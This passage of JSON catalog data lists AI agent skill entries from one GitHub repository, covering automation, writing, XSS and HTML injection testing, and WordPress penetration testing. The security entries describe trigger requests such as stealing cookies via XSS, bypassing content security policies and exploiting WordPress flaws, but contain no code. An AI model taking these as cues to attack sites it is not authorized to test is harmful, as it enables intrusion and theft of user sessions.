power","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fzapier-make-patterns\u002FSKILL.md",[71],{"categoryNo":72,"categoryName":73,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[75,76,77,78,79,80,81,82,83,84,85,86,87,88],"zapier make patterns","writing","workflow","automation","code","apache","how","automate","integrations","business","use","simplicity","power","complexity",{"skillNo":90,"name":91,"nameZh":6,"description":92,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":93,"categories":94,"keywords":99,"publishedAt":34},"01M6CCFSBPM49S618W7G4NHH13","Cross-Site Scripting and HTML Injection Testing","This skill should be used when the user asks to \"test for XSS vulnerabilities\", \"perform cross-site scripting attacks\", \"identify HTML injection flaws\", \"exploit client-side injection vulnerabilities\", \"steal cookies via XSS\", or \"bypass content security policies\". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fxss-html-injection\u002FSKILL.md",[95,96],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":97,"categoryName":98,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000009","前端开发",[100,101,102,103,104,24,105,106,107,108,109,110,111,28,112,33,27],"injection","scripting","html","site","Cross Site Scripting and HTML Injection Testing","html injection testing","cookies","applications","xss","exploit","content","web","vulnerabilities",{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":128,"publishedAt":34},"01M6CCFJ9XTPXHTE4JR06WY475","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[119,120,123],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":124,"categoryName":125,"taxonomyType":126,"taxonomyTypeDesc":127},"01JBSEEDCAT000000000000036","内容创作者","PROFESSION","适用职业",[76,129,130,131,132,85],"writing skills","deployment","work","editing",{"skillNo":134,"name":135,"nameZh":6,"description":136,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":137,"categories":138,"keywords":141,"publishedAt":34},"01M6CCFG98EMZZ43D1CPZZZ54E","writing-plans","Use when you have a spec or requirements for a multi-step task, before touching code","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fwriting-plans\u002FSKILL.md",[139,140],{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":124,"categoryName":125,"taxonomyType":126,"taxonomyTypeDesc":127},[76,142,143,79,85],"writing plans","spec",{"skillNo":145,"name":146,"nameZh":6,"description":147,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":148,"categories":149,"keywords":151,"publishedAt":34},"01M6CCFDPACVC9ZM8TN63MGBP5","workflow-automation","Workflow automation is the infrastructure that makes AI agents reliable. Without durable execution, a network hiccup during a 10-step payment flow means lost money and angry customers. With it, workflows resume exactly where they left off.  This skill covers the platforms (n8n, Temporal, Inngest) and patterns (sequential, parallel, orchestrator-worker) that turn brittle scripts into production-grade automation.  Key insight: The platforms make different tradeoffs. n8n optimizes for accessibility","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fworkflow-automation\u002FSKILL.md",[150],{"categoryNo":72,"categoryName":73,"taxonomyType":21,"taxonomyTypeDesc":22},[152,78,77,153,154,155,156,157,80,158,159,160,161,162,163,164],"Workflow Automation","network","ai agents","accessibility","workflows","infrastructure","flow","Production","execution","inngest","parallel","orchestrator","resume",{"skillNo":166,"name":167,"nameZh":6,"description":168,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":169,"categories":170,"keywords":172,"publishedAt":34},"01M6CCFB0KAB0PPNV38XQPX6YX","WordPress Penetration Testing","This skill should be used when the user asks to \"pentest WordPress sites\", \"scan WordPress for vulnerabilities\", \"enumerate WordPress users, themes, or plugins\", \"exploit WordPress vulnerabilities\", or \"use WPScan\". It provides comprehensive WordPress security assessment methodologies.","https:\u002F\u002Fgithub.com\u002FGabriellmaia01\u002Fneuro-dose-assist\u002Fblob\u002Fmain\u002F.agent\u002Fskills\u002Fskills\u002Fwordpress-penetration-testing\u002FSKILL.md",[171],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[24,167,25,173,27,112,174,175,33,85,109,176,177],"wordpress","assessment","plugins","pentest","security assessment"]